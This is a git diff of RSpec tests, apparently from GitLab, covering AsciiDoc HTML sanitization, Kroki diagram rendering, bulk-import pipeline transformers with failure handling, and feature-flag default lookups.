diff --git a/spec/lib/banzai/filter/ascii_doc_sanitization_filter_spec.rb b/spec/lib/banzai/filter/ascii_doc_sanitization_filter_spec.rb
new file mode 100644
index 00000000000..272b4386ec8
--- /dev/null
+++ b/spec/lib/banzai/filter/ascii_doc_sanitization_filter_spec.rb
@@ -0,0 +1,58 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Banzai::Filter::AsciiDocSanitizationFilter do
+ include FilterSpecHelper
+
+ it 'preserves footnotes refs' do
+ result = filter('<p>This paragraph has a footnote.<sup>[<a id="_footnoteref_1" href="#_footnotedef_1" title="View footnote.">1</a>]</sup></p>').to_html
+ expect(result).to eq('<p>This paragraph has a footnote.<sup>[<a id="_footnoteref_1" href="#_footnotedef_1" title="View footnote.">1</a>]</sup></p>')
+ end
+
+ it 'preserves footnotes defs' do
+ result = filter('<div id="_footnotedef_1">
+<a href="#_footnoteref_1">1</a>. This is the text of the footnote.</div>').to_html
+ expect(result).to eq(%(<div id="_footnotedef_1">
+<a href="#_footnoteref_1">1</a>. This is the text of the footnote.</div>))
+ end
+
+ it 'preserves user-content- prefixed ids on anchors' do
+ result = filter('<p><a id="user-content-cross-references"></a>A link to another location within an AsciiDoc document.</p>').to_html
+ expect(result).to eq(%(<p><a id="user-content-cross-references"></a>A link to another location within an AsciiDoc document.</p>))
+ end
+
+ it 'preserves user-content- prefixed ids on div (blocks)' do
+ html_content = <<~HTML
+ <div id="user-content-open-block" class="openblock">
+ <div class="content">
+ <div class="paragraph">
+ <p>This is an open block</p>
+ </div>
+ </div>
+ </div>
+ HTML
+ output = <<~SANITIZED_HTML
+ <div id="user-content-open-block">
+ <div>
+ <div>
+ <p>This is an open block</p>
+ </div>
+ </div>
+ </div>
+ SANITIZED_HTML
+ expect(filter(html_content).to_html).to eq(output)
+ end
+
+ it 'preserves section anchor ids' do
+ result = filter(%(<h2 id="user-content-first-section">
+<a class="anchor" href="#user-content-first-section"></a>First section</h2>)).to_html
+ expect(result).to eq(%(<h2 id="user-content-first-section">
+<a class="anchor" href="#user-content-first-section"></a>First section</h2>))
+ end
+
+ it 'removes non prefixed ids' do
+ result = filter('<p><a id="cross-references"></a>A link to another location within an AsciiDoc document.</p>').to_html
+ expect(result).to eq(%(<p><a></a>A link to another location within an AsciiDoc document.</p>))
+ end
+end
diff --git a/spec/lib/banzai/filter/kroki_filter_spec.rb b/spec/lib/banzai/filter/kroki_filter_spec.rb
new file mode 100644
index 00000000000..57caba1d4d7
--- /dev/null
+++ b/spec/lib/banzai/filter/kroki_filter_spec.rb
@@ -0,0 +1,41 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Banzai::Filter::KrokiFilter do
+ include FilterSpecHelper
+
+ it 'replaces nomnoml pre tag with img tag if kroki is enabled' do
+ stub_application_setting(kroki_enabled: true, kroki_url: "http://localhost:8000")
+ doc = filter("<pre lang='nomnoml'><code>[Pirate|eyeCount: Int|raid();pillage()|\n [beard]--[parrot]\n [beard]-:>[foul mouth]\n]</code></pre>")
+
+ expect(doc.to_s).to eq '<img src="http://localhost:8000/nomnoml/svg/eNqLDsgsSixJrUmtTHXOL80rsVLwzCupKUrMTNHQtC7IzMlJTE_V0KzhUlCITkpNLEqJ1dWNLkgsKsoviUUSs7KLTssvzVHIzS8tyYjligUAMhEd0g==">'
+ end
+
+ it 'replaces nomnoml pre tag with img tag if both kroki and plantuml are enabled' do
+ stub_application_setting(kroki_enabled: true,
+ kroki_url: "http://localhost:8000",
+ plantuml_enabled: true,
+ plantuml_url: "http://localhost:8080")
+ doc = filter("<pre lang='nomnoml'><code>[Pirate|eyeCount: Int|raid();pillage()|\n [beard]--[parrot]\n [beard]-:>[foul mouth]\n]</code></pre>")
+
+ expect(doc.to_s).to eq '<img src="http://localhost:8000/nomnoml/svg/eNqLDsgsSixJrUmtTHXOL80rsVLwzCupKUrMTNHQtC7IzMlJTE_V0KzhUlCITkpNLEqJ1dWNLkgsKsoviUUSs7KLTssvzVHIzS8tyYjligUAMhEd0g==">'
+ end
+
+ it 'does not replace nomnoml pre tag with img tag if kroki is disabled' do
+ stub_application_setting(kroki_enabled: false)
+ doc = filter("<pre lang='nomnoml'><code>[Pirate|eyeCount: Int|raid();pillage()|\n [beard]--[parrot]\n [beard]-:>[foul mouth]\n]</code></pre>")
+
+ expect(doc.to_s).to eq "<pre lang=\"nomnoml\"><code>[Pirate|eyeCount: Int|raid();pillage()|\n [beard]--[parrot]\n [beard]-:&gt;[foul mouth]\n]</code></pre>"
+ end
+
+ it 'does not replace plantuml pre tag with img tag if both kroki and plantuml are enabled' do
+ stub_application_setting(kroki_enabled: true,
+ kroki_url: "http://localhost:8000",
+ plantuml_enabled: true,
+ plantuml_url: "http://localhost:8080")
+ doc = filter("<pre lang='plantuml'><code>Bob->Alice : hello</code></pre>")
+
+ expect(doc.to_s).to eq '<pre lang="plantuml"><code>Bob-&gt;Alice : hello</code></pre>'
+ end
+end
diff --git a/spec/lib/banzai/filter/markdown_filter_spec.rb b/spec/lib/banzai/filter/markdown_filter_spec.rb
index 8d01a651651..c5e84a0c1e7 100644
--- a/spec/lib/banzai/filter/markdown_filter_spec.rb
+++ b/spec/lib/banzai/filter/markdown_filter_spec.rb
@@ -46,6 +46,12 @@ RSpec.describe Banzai::Filter::MarkdownFilter do
expect(result).to start_with('<pre><code lang="æ—¥">')
end
+
+ it 'works with additional language parameters' do
+ result = filter("```ruby:red gem\nsome code\n```", no_sourcepos: true)
+
+ expect(result).to start_with('<pre><code lang="ruby:red gem">')
+ end
end
end
diff --git a/spec/lib/banzai/pipeline/jira_import/adf_commonmark_pipeline_spec.rb b/spec/lib/banzai/pipeline/jira_import/adf_commonmark_pipeline_spec.rb
index d8841a9753e..74005adf673 100644
--- a/spec/lib/banzai/pipeline/jira_import/adf_commonmark_pipeline_spec.rb
+++ b/spec/lib/banzai/pipeline/jira_import/adf_commonmark_pipeline_spec.rb
@@ -5,7 +5,7 @@ require 'spec_helper'
RSpec.describe Banzai::Pipeline::JiraImport::AdfCommonmarkPipeline do
let_it_be(:fixtures_path) { 'lib/kramdown/atlassian_document_format' }
- it 'converts text in Atlassian Document Format ' do
+ it 'converts text in Atlassian Document Format' do
source = fixture_file(File.join(fixtures_path, 'paragraph.json'))
target = fixture_file(File.join(fixtures_path, 'paragraph.md'))
output = described_class.call(source, {})[:output]
diff --git a/spec/lib/bulk_imports/common/extractors/graphql_extractor_spec.rb b/spec/lib/bulk_imports/common/extractors/graphql_extractor_spec.rb
index cde8e2d5c18..a7a19fb73fc 100644
--- a/spec/lib/bulk_imports/common/extractors/graphql_extractor_spec.rb
+++ b/spec/lib/bulk_imports/common/extractors/graphql_extractor_spec.rb
@@ -41,12 +41,11 @@ RSpec.describe BulkImports::Common::Extractors::GraphqlExtractor do
end
context 'when variables are present' do
- let(:query) { { query: double(to_s: 'test', variables: { full_path: :source_full_path }) } }
+ let(:variables) { { foo: :bar } }
+ let(:query) { { query: double(to_s: 'test', variables: variables) } }
it 'builds graphql query variables for import entity' do
- expected_variables = { full_path: import_entity.source_full_path }
-
- expect(graphql_client).to receive(:execute).with(anything, expected_variables)
+ expect(graphql_client).to receive(:execute).with(anything, variables)
subject.extract(context).first
end
diff --git a/spec/lib/bulk_imports/common/transformers/graphql_cleaner_transformer_spec.rb b/spec/lib/bulk_imports/common/transformers/graphql_cleaner_transformer_spec.rb
deleted file mode 100644
index 8f39b6e7c93..00000000000
--- a/spec/lib/bulk_imports/common/transformers/graphql_cleaner_transformer_spec.rb
+++ /dev/null
@@ -1,88 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe BulkImports::Common::Transformers::GraphqlCleanerTransformer do
- describe '#transform' do
- let_it_be(:expected_output) do
- {
- 'name' => 'test',
- 'fullName' => 'test',
- 'description' => 'test',
- 'labels' => [
- { 'title' => 'label1' },
- { 'title' => 'label2' },
- { 'title' => 'label3' }
- ]
- }
- end
-
- it 'deep cleans hash from GraphQL keys' do
- data = {
- 'data' => {
- 'group' => {
- 'name' => 'test',
- 'fullName' => 'test',
- 'description' => 'test',
- 'labels' => {
- 'edges' => [
- { 'node' => { 'title' => 'label1' } },
- { 'node' => { 'title' => 'label2' } },
- { 'node' => { 'title' => 'label3' } }
- ]
- }
- }
- }
- }
-
- transformed_data = described_class.new.transform(nil, data)
-
- expect(transformed_data).to eq(expected_output)
- end
-
- context 'when data does not have data/group nesting' do
- it 'deep cleans hash from GraphQL keys' do
- data = {
- 'name' => 'test',
- 'fullName' => 'test',
- 'description' => 'test',
- 'labels' => {
- 'edges' => [
- { 'node' => { 'title' => 'label1' } },
- { 'node' => { 'title' => 'label2' } },
- { 'node' => { 'title' => 'label3' } }
- ]
- }
- }
-
- transformed_data = described_class.new.transform(nil, data)
-
- expect(transformed_data).to eq(expected_output)
- end
- end
-
- context 'when data is not a hash' do
- it 'does not perform transformation' do
- data = 'test'
-
- transformed_data = described_class.new.transform(nil, data)
-
- expect(transformed_data).to eq(data)
- end
- end
-
- context 'when nested data is not an array or hash' do
- it 'only removes top level data/group keys' do
- data = {
- 'data' => {
- 'group' => 'test'
- }
- }
-
- transformed_data = described_class.new.transform(nil, data)
-
- expect(transformed_data).to eq('test')
- end
- end
- end
-end
diff --git a/spec/lib/bulk_imports/common/transformers/hash_key_digger_spec.rb b/spec/lib/bulk_imports/common/transformers/hash_key_digger_spec.rb
new file mode 100644
index 00000000000..2b33701653e
--- /dev/null
+++ b/spec/lib/bulk_imports/common/transformers/hash_key_digger_spec.rb
@@ -0,0 +1,28 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe BulkImports::Common::Transformers::HashKeyDigger do
+ describe '#transform' do
+ it 'when the key_path is an array' do
+ data = { foo: { bar: :value } }
+ key_path = %i[foo bar]
+ transformed = described_class.new(key_path: key_path).transform(nil, data)
+
+ expect(transformed).to eq(:value)
+ end
+
+ it 'when the key_path is not an array' do
+ data = { foo: { bar: :value } }
+ key_path = :foo
+ transformed = described_class.new(key_path: key_path).transform(nil, data)
+
+ expect(transformed).to eq({ bar: :value })
+ end
+
+ it "when the data is not a hash" do
+ expect { described_class.new(key_path: nil).transform(nil, nil) }
+ .to raise_error(ArgumentError, "Given data must be a Hash")
+ end
+ end
+end
diff --git a/spec/lib/bulk_imports/common/transformers/prohibited_attributes_transformer_spec.rb b/spec/lib/bulk_imports/common/transformers/prohibited_attributes_transformer_spec.rb
new file mode 100644
index 00000000000..03d138b227c
--- /dev/null
+++ b/spec/lib/bulk_imports/common/transformers/prohibited_attributes_transformer_spec.rb
@@ -0,0 +1,72 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe BulkImports::Common::Transformers::ProhibitedAttributesTransformer do
+ describe '#transform' do
+ let_it_be(:hash) do
+ {
+ 'id' => 101,
+ 'service_id' => 99,
+ 'moved_to_id' => 99,
+ 'namespace_id' => 99,
+ 'ci_id' => 99,
+ 'random_project_id' => 99,
+ 'random_id' => 99,
+ 'milestone_id' => 99,
+ 'project_id' => 99,
+ 'user_id' => 99,
+ 'random_id_in_the_middle' => 99,
+ 'notid' => 99,
+ 'import_source' => 'test',
+ 'import_type' => 'test',
+ 'non_existent_attr' => 'test',
+ 'some_html' => '<p>dodgy html</p>',
+ 'legit_html' => '<p>legit html</p>',
+ '_html' => '<p>perfectly ordinary html</p>',
+ 'cached_markdown_version' => 12345,
+ 'custom_attributes' => 'test',
+ 'some_attributes_metadata' => 'test',
+ 'group_id' => 99,
+ 'commit_id' => 99,
+ 'issue_ids' => [1, 2, 3],
+ 'merge_request_ids' => [1, 2, 3],
+ 'note_ids' => [1, 2, 3],
+ 'remote_attachment_url' => 'http://something.dodgy',
+ 'remote_attachment_request_header' => 'bad value',
+ 'remote_attachment_urls' => %w(http://something.dodgy http://something.okay),
+ 'attributes' => {
+ 'issue_ids' => [1, 2, 3],
+ 'merge_request_ids' => [1, 2, 3],
+ 'note_ids' => [1, 2, 3]
+ },
+ 'variables_attributes' => {
+ 'id' => 1
+ },
+ 'attr_with_nested_attrs' => {
+ 'nested_id' => 1,
+ 'nested_attr' => 2
+ }
+ }
+ end
+
+ let(:expected_hash) do
+ {
+ 'random_id_in_the_middle' => 99,
+ 'notid' => 99,
+ 'import_source' => 'test',
+ 'import_type' => 'test',
+ 'non_existent_attr' => 'test',
+ 'attr_with_nested_attrs' => {
+ 'nested_attr' => 2
+ }
+ }
+ end
+
+ it 'removes prohibited attributes' do
+ transformed_hash = subject.transform(nil, hash)
+
+ expect(transformed_hash).to eq(expected_hash)
+ end
+ end
+end
diff --git a/spec/lib/bulk_imports/groups/pipelines/group_pipeline_spec.rb b/spec/lib/bulk_imports/groups/pipelines/group_pipeline_spec.rb
index 3949dd23b49..c9b481388c3 100644
--- a/spec/lib/bulk_imports/groups/pipelines/group_pipeline_spec.rb
+++ b/spec/lib/bulk_imports/groups/pipelines/group_pipeline_spec.rb
@@ -72,7 +72,6 @@ RSpec.describe BulkImports::Groups::Pipelines::GroupPipeline do
describe 'pipeline parts' do
it { expect(described_class).to include_module(BulkImports::Pipeline) }
- it { expect(described_class).to include_module(BulkImports::Pipeline::Attributes) }
it { expect(described_class).to include_module(BulkImports::Pipeline::Runner) }
it 'has extractors' do
@@ -90,13 +89,17 @@ RSpec.describe BulkImports::Groups::Pipelines::GroupPipeline do
it 'has transformers' do
expect(described_class.transformers)
.to contain_exactly(
- { klass: BulkImports::Common::Transformers::GraphqlCleanerTransformer, options: nil },
+ { klass: BulkImports::Common::Transformers::HashKeyDigger, options: { key_path: %w[data group] } },
{ klass: BulkImports::Common::Transformers::UnderscorifyKeysTransformer, options: nil },
- { klass: BulkImports::Groups::Transformers::GroupAttributesTransformer, options: nil })
+ { klass: BulkImports::Common::Transformers::ProhibitedAttributesTransformer, options: nil },
+ { klass: BulkImports::Groups::Transformers::GroupAttributesTransformer, options: nil }
+ )
end
it 'has loaders' do
- expect(described_class.loaders).to contain_exactly({ klass: BulkImports::Groups::Loaders::GroupLoader, options: nil })
+ expect(described_class.loaders).to contain_exactly({
+ klass: BulkImports::Groups::Loaders::GroupLoader, options: nil
+ })
end
end
end
diff --git a/spec/lib/bulk_imports/groups/pipelines/subgroup_entities_pipeline_spec.rb b/spec/lib/bulk_imports/groups/pipelines/subgroup_entities_pipeline_spec.rb
index 60a4a796682..788a6e98c45 100644
--- a/spec/lib/bulk_imports/groups/pipelines/subgroup_entities_pipeline_spec.rb
+++ b/spec/lib/bulk_imports/groups/pipelines/subgroup_entities_pipeline_spec.rb
@@ -55,7 +55,6 @@ RSpec.describe BulkImports::Groups::Pipelines::SubgroupEntitiesPipeline do
describe 'pipeline parts' do
it { expect(described_class).to include_module(BulkImports::Pipeline) }
- it { expect(described_class).to include_module(BulkImports::Pipeline::Attributes) }
it { expect(described_class).to include_module(BulkImports::Pipeline::Runner) }
it 'has extractors' do
@@ -67,8 +66,8 @@ RSpec.describe BulkImports::Groups::Pipelines::SubgroupEntitiesPipeline do
it 'has transformers' do
expect(described_class.transformers).to contain_exactly(
- klass: BulkImports::Groups::Transformers::SubgroupToEntityTransformer,
- options: nil
+ { klass: BulkImports::Common::Transformers::ProhibitedAttributesTransformer, options: nil },
+ { klass: BulkImports::Groups::Transformers::SubgroupToEntityTransformer, options: nil }
)
end
diff --git a/spec/lib/bulk_imports/importers/group_importer_spec.rb b/spec/lib/bulk_imports/importers/group_importer_spec.rb
index 95ac5925c97..95dca7fc486 100644
--- a/spec/lib/bulk_imports/importers/group_importer_spec.rb
+++ b/spec/lib/bulk_imports/importers/group_importer_spec.rb
@@ -18,12 +18,12 @@ RSpec.describe BulkImports::Importers::GroupImporter do
subject { described_class.new(bulk_import_entity) }
before do
+ allow(Gitlab).to receive(:ee?).and_return(false)
allow(BulkImports::Pipeline::Context).to receive(:new).and_return(context)
- stub_http_requests
end
describe '#execute' do
- it "starts the entity and run its pipelines" do
+ it 'starts the entity and run its pipelines' do
expect(bulk_import_entity).to receive(:start).and_call_original
expect_to_run_pipeline BulkImports::Groups::Pipelines::GroupPipeline, context: context
expect_to_run_pipeline BulkImports::Groups::Pipelines::SubgroupEntitiesPipeline, context: context
@@ -32,6 +32,18 @@ RSpec.describe BulkImports::Importers::GroupImporter do
expect(bulk_import_entity.reload).to be_finished
end
+
+ context 'when failed' do
+ let(:bulk_import_entity) { create(:bulk_import_entity, :failed, bulk_import: bulk_import) }
+
+ it 'does not transition entity to finished state' do
+ allow(bulk_import_entity).to receive(:start!)
+
+ subject.execute
+
+ expect(bulk_import_entity.reload).to be_failed
+ end
+ end
end
def expect_to_run_pipeline(klass, context:)
@@ -39,18 +51,4 @@ RSpec.describe BulkImports::Importers::GroupImporter do
expect(pipeline).to receive(:run).with(context)
end
end
-
- def stub_http_requests
- double_response = double(
- code: 200,
- success?: true,
- parsed_response: {},
- headers: {}
- )
-
- allow_next_instance_of(BulkImports::Clients::Http) do |client|
- allow(client).to receive(:get).and_return(double_response)
- allow(client).to receive(:post).and_return(double_response)
- end
- end
end
diff --git a/spec/lib/bulk_imports/pipeline/attributes_spec.rb b/spec/lib/bulk_imports/pipeline/attributes_spec.rb
deleted file mode 100644
index 54c5dbd4cae..00000000000
--- a/spec/lib/bulk_imports/pipeline/attributes_spec.rb
+++ /dev/null
@@ -1,57 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe BulkImports::Pipeline::Attributes do
- describe 'pipeline attributes' do
- before do
- stub_const('BulkImports::Extractor', Class.new)
- stub_const('BulkImports::Transformer', Class.new)
- stub_const('BulkImports::Loader', Class.new)
-
- klass = Class.new do
- include BulkImports::Pipeline::Attributes
-
- extractor BulkImports::Extractor, { foo: :bar }
- transformer BulkImports::Transformer, { foo: :bar }
- loader BulkImports::Loader, { foo: :bar }
- end
-
- stub_const('BulkImports::MyPipeline', klass)
- end
-
- describe 'getters' do
- it 'retrieves class attributes' do
- expect(BulkImports::MyPipeline.extractors).to contain_exactly({ klass: BulkImports::Extractor, options: { foo: :bar } })
- expect(BulkImports::MyPipeline.transformers).to contain_exactly({ klass: BulkImports::Transformer, options: { foo: :bar } })
- expect(BulkImports::MyPipeline.loaders).to contain_exactly({ klass: BulkImports::Loader, options: { foo: :bar } })
- end
- end
-
- describe 'setters' do
- it 'sets class attributes' do
- klass = Class.new
- options = { test: :test }
-
- BulkImports::MyPipeline.extractor(klass, options)
- BulkImports::MyPipeline.transformer(klass, options)
- BulkImports::MyPipeline.loader(klass, options)
-
- expect(BulkImports::MyPipeline.extractors)
- .to contain_exactly(
- { klass: BulkImports::Extractor, options: { foo: :bar } },
- { klass: klass, options: options })
-
- expect(BulkImports::MyPipeline.transformers)
- .to contain_exactly(
- { klass: BulkImports::Transformer, options: { foo: :bar } },
- { klass: klass, options: options })
-
- expect(BulkImports::MyPipeline.loaders)
- .to contain_exactly(
- { klass: BulkImports::Loader, options: { foo: :bar } },
- { klass: klass, options: options })
- end
- end
- end
-end
diff --git a/spec/lib/bulk_imports/pipeline/runner_spec.rb b/spec/lib/bulk_imports/pipeline/runner_spec.rb
index 8c882c799ec..60833e83dcc 100644
--- a/spec/lib/bulk_imports/pipeline/runner_spec.rb
+++ b/spec/lib/bulk_imports/pipeline/runner_spec.rb
@@ -3,26 +3,32 @@
require 'spec_helper'
RSpec.describe BulkImports::Pipeline::Runner do
- describe 'pipeline runner' do
- before do
- extractor = Class.new do
- def initialize(options = {}); end
+ let(:extractor) do
+ Class.new do
+ def initialize(options = {}); end
- def extract(context); end
- end
+ def extract(context); end
+ end
+ end
- transformer = Class.new do
- def initialize(options = {}); end
+ let(:transformer) do
+ Class.new do
+ def initialize(options = {}); end
- def transform(context, entry); end
- end
+ def transform(context); end
+ end
+ end
- loader = Class.new do
- def initialize(options = {}); end
+ let(:loader) do
+ Class.new do
+ def initialize(options = {}); end
- def load(context, entry); end
- end
+ def load(context); end
+ end
+ end
+ describe 'pipeline runner' do
+ before do
stub_const('BulkImports::Extractor', extractor)
stub_const('BulkImports::Transformer', transformer)
stub_const('BulkImports::Loader', loader)
@@ -38,37 +44,126 @@ RSpec.describe BulkImports::Pipeline::Runner do
stub_const('BulkImports::MyPipeline', pipeline)
end
- it 'runs pipeline extractor, transformer, loader' do
- context = instance_double(
- BulkImports::Pipeline::Context,
- entity: instance_double(BulkImports::Entity, id: 1, source_type: 'group')
- )
- entries = [{ foo: :bar }]
-
- expect_next_instance_of(BulkImports::Extractor) do |extractor|
- expect(extractor).to receive(:extract).with(context).and_return(entries)
+ context 'when entity is not marked as failed' do
+ let(:context) do
+ instance_double(
+ BulkImports::Pipeline::Context,
+ entity: instance_double(BulkImports::Entity, id: 1, source_type: 'group', failed?: false)
+ )
end
- expect_next_instance_of(BulkImports::Transformer) do |transformer|
- expect(transformer).to receive(:transform).with(context, entries.first).and_return(entries.first)
+ it 'runs pipeline extractor, transformer, loader' do
+ entries = [{ foo: :bar }]
+
+ expect_next_instance_of(BulkImports::Extractor) do |extractor|
+ expect(extractor).to receive(:extract).with(context).and_return(entries)
+ end
+
+ expect_next_instance_of(BulkImports::Transformer) do |transformer|
+ expect(transformer).to receive(:transform).with(context, entries.first).and_return(entries.first)
+ end
+
+ expect_next_instance_of(BulkImports::Loader) do |loader|
+ expect(loader).to receive(:load).with(context, entries.first)
+ end
+
+ expect_next_instance_of(Gitlab::Import::Logger) do |logger|
+ expect(logger).to receive(:info)
+ .with(
+ message: 'Pipeline started',
+ pipeline_class: 'BulkImports::MyPipeline',
+ bulk_import_entity_id: 1,
+ bulk_import_entity_type: 'group'
+ )
+ expect(logger).to receive(:info)
+ .with(bulk_import_entity_id: 1, bulk_import_entity_type: 'group', extractor: 'BulkImports::Extractor')
+ expect(logger).to receive(:info)
+ .with(bulk_import_entity_id: 1, bulk_import_entity_type: 'group', transformer: 'BulkImports::Transformer')
+ expect(logger).to receive(:info)
+ .with(bulk_import_entity_id: 1, bulk_import_entity_type: 'group', loader: 'BulkImports::Loader')
+ end
+
+ BulkImports::MyPipeline.new.run(context)
end
- expect_next_instance_of(BulkImports::Loader) do |loader|
- expect(loader).to receive(:load).with(context, entries.first)
+ context 'when exception is raised' do
+ let(:entity) { create(:bulk_import_entity, :created) }
+ let(:context) { BulkImports::Pipeline::Context.new(entity: entity) }
+
+ before do
+ allow_next_instance_of(BulkImports::Extractor) do |extractor|
+ allow(extractor).to receive(:extract).with(context).and_raise(StandardError, 'Error!')
+ end
+ end
+
+ it 'logs import failure' do
+ BulkImports::MyPipeline.new.run(context)
+
+ failure = entity.failures.first
+
+ expect(failure).to be_present
+ expect(failure.pipeline_class).to eq('BulkImports::MyPipeline')
+ expect(failure.exception_class).to eq('StandardError')
+ expect(failure.exception_message).to eq('Error!')
+ end
+
+ context 'when pipeline is marked to abort on failure' do
+ before do
+ BulkImports::MyPipeline.abort_on_failure!
+ end
+
+ it 'marks entity as failed' do
+ BulkImports::MyPipeline.new.run(context)
+
+ expect(entity.failed?).to eq(true)
+ end
+
+ it 'logs warn message' do
+ expect_next_instance_of(Gitlab::Import::Logger) do |logger|
+ expect(logger).to receive(:warn)
+ .with(
+ message: 'Pipeline failed',
+ pipeline_class: 'BulkImports::MyPipeline',
+ bulk_import_entity_id: entity.id,
+ bulk_import_entity_type: entity.source_type
+ )
+ end
+
+ BulkImports::MyPipeline.new.run(context)
+ end
+ end
+
+ context 'when pipeline is not marked to abort on failure' do
+ it 'marks entity as failed' do
+ BulkImports::MyPipeline.new.run(context)
+
+ expect(entity.failed?).to eq(false)
+ end
+ end
end
+ end
- expect_next_instance_of(Gitlab::Import::Logger) do |logger|
- expect(logger).to receive(:info)
- .with(message: "Pipeline started", pipeline: 'BulkImports::MyPipeline', entity: 1, entity_type: 'group')
- expect(logger).to receive(:info)
- .with(entity: 1, entity_type: 'group', extractor: 'BulkImports::Extractor')
- expect(logger).to receive(:info)
- .with(entity: 1, entity_type: 'group', transformer: 'BulkImports::Transformer')
- expect(logger).to receive(:info)
- .with(entity: 1, entity_type: 'group', loader: 'BulkImports::Loader')
+ context 'when entity is marked as failed' do
+ let(:context) do
+ instance_double(
+ BulkImports::Pipeline::Context,
+ entity: instance_double(BulkImports::Entity, id: 1, source_type: 'group', failed?: true)
+ )
end
- BulkImports::MyPipeline.new.run(context)
+ it 'logs and returns without execution' do
+ expect_next_instance_of(Gitlab::Import::Logger) do |logger|
+ expect(logger).to receive(:info)
+ .with(
+ message: 'Skipping due to failed pipeline status',
+ pipeline_class: 'BulkImports::MyPipeline',
+ bulk_import_entity_id: 1,
+ bulk_import_entity_type: 'group'
+ )
+ end
+
+ BulkImports::MyPipeline.new.run(context)
+ end
end
end
end
diff --git a/spec/lib/bulk_imports/pipeline_spec.rb b/spec/lib/bulk_imports/pipeline_spec.rb
new file mode 100644
index 00000000000..94052be7df2
--- /dev/null
+++ b/spec/lib/bulk_imports/pipeline_spec.rb
@@ -0,0 +1,63 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe BulkImports::Pipeline do
+ describe 'pipeline attributes' do
+ before do
+ stub_const('BulkImports::Extractor', Class.new)
+ stub_const('BulkImports::Transformer', Class.new)
+ stub_const('BulkImports::Loader', Class.new)
+
+ klass = Class.new do
+ include BulkImports::Pipeline
+
+ abort_on_failure!
+
+ extractor BulkImports::Extractor, { foo: :bar }
+ transformer BulkImports::Transformer, { foo: :bar }
+ loader BulkImports::Loader, { foo: :bar }
+ end
+
+ stub_const('BulkImports::MyPipeline', klass)
+ end
+
+ describe 'getters' do
+ it 'retrieves class attributes' do
+ expect(BulkImports::MyPipeline.extractors).to contain_exactly({ klass: BulkImports::Extractor, options: { foo: :bar } })
+ expect(BulkImports::MyPipeline.transformers).to contain_exactly({ klass: BulkImports::Transformer, options: { foo: :bar } })
+ expect(BulkImports::MyPipeline.loaders).to contain_exactly({ klass: BulkImports::Loader, options: { foo: :bar } })
+ expect(BulkImports::MyPipeline.abort_on_failure?).to eq(true)
+ end
+ end
+
+ describe 'setters' do
+ it 'sets class attributes' do
+ klass = Class.new
+ options = { test: :test }
+
+ BulkImports::MyPipeline.extractor(klass, options)
+ BulkImports::MyPipeline.transformer(klass, options)
+ BulkImports::MyPipeline.loader(klass, options)
+ BulkImports::MyPipeline.abort_on_failure!
+
+ expect(BulkImports::MyPipeline.extractors)
+ .to contain_exactly(
+ { klass: BulkImports::Extractor, options: { foo: :bar } },
+ { klass: klass, options: options })
+
+ expect(BulkImports::MyPipeline.transformers)
+ .to contain_exactly(
+ { klass: BulkImports::Transformer, options: { foo: :bar } },
+ { klass: klass, options: options })
+
+ expect(BulkImports::MyPipeline.loaders)
+ .to contain_exactly(
+ { klass: BulkImports::Loader, options: { foo: :bar } },
+ { klass: klass, options: options })
+
+ expect(BulkImports::MyPipeline.abort_on_failure?).to eq(true)
+ end
+ end
+ end
+end
diff --git a/spec/lib/feature/definition_spec.rb b/spec/lib/feature/definition_spec.rb
index fa0207d829a..21120012927 100644
--- a/spec/lib/feature/definition_spec.rb
+++ b/spec/lib/feature/definition_spec.rb
@@ -64,6 +64,11 @@ RSpec.describe Feature::Definition do
expect { definition.valid_usage!(type_in_code: :development, default_enabled_in_code: false) }
.to raise_error(/The `default_enabled:` of `feature_flag` is not equal to config/)
end
+
+ it 'allows passing `default_enabled: :yaml`' do
+ expect { definition.valid_usage!(type_in_code: :development, default_enabled_in_code: :yaml) }
+ .not_to raise_error
+ end
end
end
@@ -75,7 +80,7 @@ RSpec.describe Feature::Definition do
describe '.load_from_file' do
it 'properly loads a definition from file' do
- expect(File).to receive(:read).with(path) { yaml_content }
+ expect_file_read(path, content: yaml_content)
expect(described_class.send(:load_from_file, path).attributes)
.to eq(definition.attributes)
@@ -93,7 +98,7 @@ RSpec.describe Feature::Definition do
context 'for invalid definition' do
it 'raises exception' do
- expect(File).to receive(:read).with(path) { '{}' }
+ expect_file_read(path, content: '{}')
expect do
described_class.send(:load_from_file, path)
@@ -209,4 +214,58 @@ RSpec.describe Feature::Definition do
end
end
end
+
+ describe '.defaul_enabled?' do
+ subject { described_class.default_enabled?(key) }
+
+ context 'when feature flag exist' do
+ let(:key) { definition.key }
+
+ before do
+ allow(described_class).to receive(:definitions) do
+ { definition.key => definition }
+ end
+ end
+
+ context 'when default_enabled is true' do
+ it 'returns the value from the definition' do
+ expect(subject).to eq(true)
+ end
+ end
+
+ context 'when default_enabled is false' do
+ let(:attributes) do
+ { name: 'feature_flag',
+ type: 'development',
+ default_enabled: false }
+ end
+
+ it 'returns the value from the definition' do
+ expect(subject).to eq(false)
+ end
+ end
+ end
+
+ context 'when feature flag does not exist' do
+ let(:key) { :unknown_feature_flag }
+
+ context 'when on dev or test environment' do
+ it 'raises an error' do
+ expect { subject }.to raise_error(
+ Feature::InvalidFeatureFlagError,
+ "The feature flag YAML definition for 'unknown_feature_flag' does not exist")
+ end
+ end
+
+ context 'when on production environment' do
+ before do
+ allow(Gitlab::ErrorTracking).to receive(:should_raise_for_dev?).and_return(false)
+ end
+
+ it 'returns false' do
+ expect(subject).to eq(false)
+ end
+ end
+ end
+ end
end
diff --git a/spec/lib/feature_spec.rb b/spec/lib/feature_spec.rb
index 5dff9dbd995..1bcb2223012 100644
--- a/spec/lib/feature_spec.rb
+++ b/spec/lib/feature_spec.rb
@@ -249,10 +249,12 @@ RSpec.describe Feature, stub_feature_flags: false do
Feature::Definition.new('development/my_feature_flag.yml',
name: 'my_feature_flag',
type: 'development',
- default_enabled: false
+ default_enabled: default_enabled
).tap(&:validate!)
end
+ let(:default_enabled) { false }
+
before do
stub_env('LAZILY_CREATE_FEATURE_FLAG', '0')
@@ -275,6 +277,63 @@ RSpec.describe Feature, stub_feature_flags: false do
